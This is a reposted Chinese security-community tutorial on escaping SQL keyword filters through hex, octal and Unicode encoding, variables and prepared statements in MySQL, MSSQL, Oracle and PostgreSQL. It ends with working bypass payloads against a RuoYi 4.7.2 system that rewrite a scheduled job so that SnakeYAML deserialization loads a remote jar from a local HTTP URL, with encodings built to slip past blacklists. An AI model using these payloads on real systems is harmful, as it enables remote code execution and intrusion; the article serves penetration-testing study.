SQL字符串逃逸

admin 2023年11月27日22:49:42评论15 views字数 4925阅读16分25秒阅读模式

点击蓝字

SQL字符串逃逸

关注我们

声明

本文作者:flashine

本文字数:约5000

阅读时长:13分钟

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

SQL字符串逃逸

前言

SQL字符串逃逸的本质就是通过利用一些数据库特性来对需要执行的SQL语句进行字符串编码、拼接来绕过一些关键字检测,从而实现我们想要执行的SQL语句,以下列举了四个常用的数据库(MySQL、MSSQL、Oracle、Postgres)的一些利用方式。

实验环境:

在线数据库:https://www.db-fiddle.com/

1、mysql

(1)定义变量(https://dev.mysql.com/doc/refman/8.0/en/user-variables.html)

用户自定义变量时变量名需要加@

set @var_name=expr

(2)字符串编码(参考https://dev.mysql.com/doc/refman/8.0/en/hexadecimal-literals.html)

十六进制编码:字符串部分的十六进制字母可大小写

  • abc ->0x616263 (0x的x不能用大写代替)
  • abc-> X'616263'
  • abc-> x'616263'

SQL字符串逃逸

(3)预编译执行

set @a=0x73656c65637420757365722829
prepare stmt from @a;
execute stmt;
-- 使用deallocate 释放自定义的
deallocate prepare stmt;

使用HEX对SQL语句编码

SQL字符串逃逸

这里set定义的变量可用于所有会话

SQL字符串逃逸

这里也可以在execute的时候传入参数,但是传入参数默认会预编译导致传入的参数不被执行,所以一开始就直接在自定义的变量里把执行的sql写好就行了。

SQL字符串逃逸

2、MSSQL

由于MSSQL的SQL注入有较大的概率可以进行堆叠注入,所以如果实际环境拦截了一些关键字如xp_cmdshellselect可以通过自定义变量来绕过关键字检测。

参考:https://learn.microsoft.com/zh-cn/sql/t-sql/language-elements/variables-transact-sql?view=sql-server-ver15

declare限制了变量的作用范围,声明的变量只能当前会话执行有效,在有长度限制的条件时可能无法执行

dEcLaRe @s vArChAr(8000) sEt @s=0x73656c6563742064625f6e616d652829 eXeC(@s);

执行的语句必须在同一个会话里,否则就会执行失败。

SQL字符串逃逸

这里声明的变量类型不能为text、ntext,而且用varchar、char时必须指定长度:

SQL字符串逃逸
SQL字符串逃逸

另外值得一提的是MSSQL的字符串拼接支持使用+:

SQL字符串逃逸

3、oracle

Oracle数据库在执行SQL语句的环境下无法创建变量:

  • define:sqlplus 环境(command窗口) 中用于定义变量, 适用于人机交互处理,或者sql脚本。
  • variable:plsql 匿名块中使用。非匿名块中不能使用。
  • declare:plsql 块中使用,适用于匿名块或者非匿名块。

字符串相关:unicode字符,需要借用UNISTR函数且不带u

SQL字符串逃逸

字符串拼接:''||''、concat函数 通过给字符串前加q可以忽略掉字符串内部的单引号,从而避免转义的问题

SELECT q'abc'bcd' FROM DUAL;

除此之外,我从Oracle官网文档里没有搜索到其他与字符串逃逸相关的内容了。

4、postgresql

(1)定义变量

postgresql 中可以使用一个自定义的参数,类似于变量,方便拓展调用,命名规则为name.name,可以在不同会话中调用,但是调用该变量时需要使用current_setting('变量名')来调用。官网链接:https://www.postgresql.org/docs/current/runtime-config-custom.html

set my.var=E'x73x65x6cx65x63x74x20x31'
-- 或者这样写也可以
set my.var to E'x73x65x6cx65x63x74x20x31'
--然后使用来调用变量
select current_setting('my.var')
SQL字符串逃逸

(2)预编译sql

postgres的prepare类似mysql的prepare写法,但是在引用变量时由于需要select current_setting()来获取变量值,所以这里没办法像mysql一样直接prepare current_setting('')

prepare my_stmt(varchar) as SELECT usesuper FROM pg_user WHERE usename=$1;
EXECUTE my_stmt('postgres');
--释放资源
deallocate my_stmt;

SQL字符串逃逸

(3)字符串编码&变形

postgresql有一个特性就是在字符串前加一个字母E(e),执行sql语句的时候会自动将字符串的内容进行编码转换,参考 https://www.postgresql.org/docs/9.0/sql-syntax-lexical.html

在mysql里十六进制串可以直接当做字符串,但是postgres里十六进制串只能当做数字常量 可以知道这个特性支持以下三种编码:

  • 八进制编码:举例select 1编码转换就是E'1631451541451431644061'
  • 十六进制编码:举例select 1编码转换就是E'x73x65x6cx65x63x74x20x31'
  • Unicode编码:举例select 1编码转换就是E'u0073u0065u006cu0065u0063u0074u0020u0031'

可以看出如果需要编码的字符串越长的话,八进制编码的字符串是最短的,然而因为每个字符编码之后都需要带一个,这会不可避免得导致字符串变长。

除了这种用法之外就剩下函数调用了,比如说convert_from('x31'),但是这个函数调用就可以只用一个x,而使用E解码的就不行。

SQL字符串逃逸

对于单引号过滤的可以使用$$字符串$$来代替,或者加个自定义的tag:$SomeTag$字符串$SomeTag$

select $$字符串$$
-- 如果需要规避关键字检测,可以使用||来拼接
select $$abc$$||$$def$$
SQL字符串逃逸

这里提一个实战当中碰到的场景,之前在一次地市HW中碰到了一个使用postgres数据库的ruoyi系统,而且这个ruoyi也是4.7.2版本。这个版本对于yaml反序列化利用做了一些黑名单处理,但是可以通过spring的内置bean调用可以绕过,实际就是利用jdbcTemplate.execute()可以执行SQL语句去执行update从而直接从数据库层面修改掉调用的payload,具体可以看先知这篇文章 https://xz.aliyun.com/t/11336 这里具体介绍的是mysql的利用,然后mysql的语法不起作用,后续摸索了一段时间结合上文所述内容,可以构造如下payload:

利用的poc:

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8080/123.jar"]]]]')

绕过payload1:

jdbcTemplate.execute("update sys_job set invoke_target=e'x6fx72x67x2ex79x61x6dx6cx2ex24x24x7cx7cx24x24x73x6ex61x6bx65x79x61x6dx6cx2ex59x61x6dx6cx2ex6cx6fx61x64x28x27x21x21x6ax61x76x61x78x2ex73x63x72x69x70x74x2ex53x63x72x69x70x74x45x6ex67x69x6ex65x4dx61x6ex61x67x65x72x20x5bx21x21x6ax61x76x61x2ex6ex65x74x2ex24x24x7cx7cx24x24x55x52x4cx43x6cx61x73x73x4cx6fx61x64x65x72x20x5bx5bx21x21x6ax61x76x61x2ex24x24x7cx7cx24x24x6ex65x74x2ex55x52x4cx20x5bx22x68x74x24x24x7cx7cx24x24x74x70x3ax2fx2fx31x32x37x2ex30x2ex30x2ex31x3ax38x30x38x30x2fx31x32x33x2ex6ax61x72x22x5dx5dx5dx5dx27x29' where job_id=7;")

这里我在本地搭建了一个环境,数据库结构基本保持不变,由于数据库默认配置字段长度为500,所以该payload太长导致无法保存到数据库里,也就没有办法执行触发了。

SQL字符串逃逸

绕过payload2:

因为代码里做了黑名单类名检查,所以需要payload需要绕过java.net.URLorg.yaml.snakeyaml,然后还有一个http的关键字检查也需要绕过

SQL字符串逃逸
SQL字符串逃逸

但是由于ruoyi代码处理传参时会从第一个)截断,如果我们的payload里带有)的话会导致参数内容不完整,这里也需要把)做下编码处理

jdbcTemplate.execute("update sys_job set invoke_target=e'org.yamlx2esnakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.netx2eURLClassLoader [[!!java.netx2eURL ["htx74p://127.0.0.1:8080/123.jar"]]]]'x29' where job_id=7;")

执行前修改字符串:

SQL字符串逃逸

执行后修改成功了

SQL字符串逃逸
SQL字符串逃逸

绕过payload3:

利用$$字符串拼接可以忽略掉单引号转义的问题:

jdbcTemplate.execute("update sys_job set invoke_target=$$org.yaml.$$||$$snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.$$ || $$URLClassLoader [[!!java.$$||$$net.URL ["ht$$||$$tp://127.0.0.1:8080/123.jar"]]]]'$$||e'x29' where job_id=7;")
SQL字符串逃逸

以上就是yaml反序列化的利用poc了,如果想看到SQL语句执行的回显的话,感觉目前是没法做到的,因为回显的poc如下,可以看到回显也是执行update带一个子查询,但是子查询带有)会导致参数被截断,而子查询不带括号的话是没法执行的。

jdbcTemplate.execute("update sys_job set invoke_target=(select 1) where job_id=8;")

参考链接

  • https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection#strings-in-hex

作者

SQL字符串逃逸

flashine

一命二运三风水,四积功德五读书

原文始发于微信公众号(WgpSec狼组安全团队):SQL字符串逃逸

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月27日22:49:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL字符串逃逸https://cn-sec.com/archives/2245695.html

发表评论

匿名网友 填写信息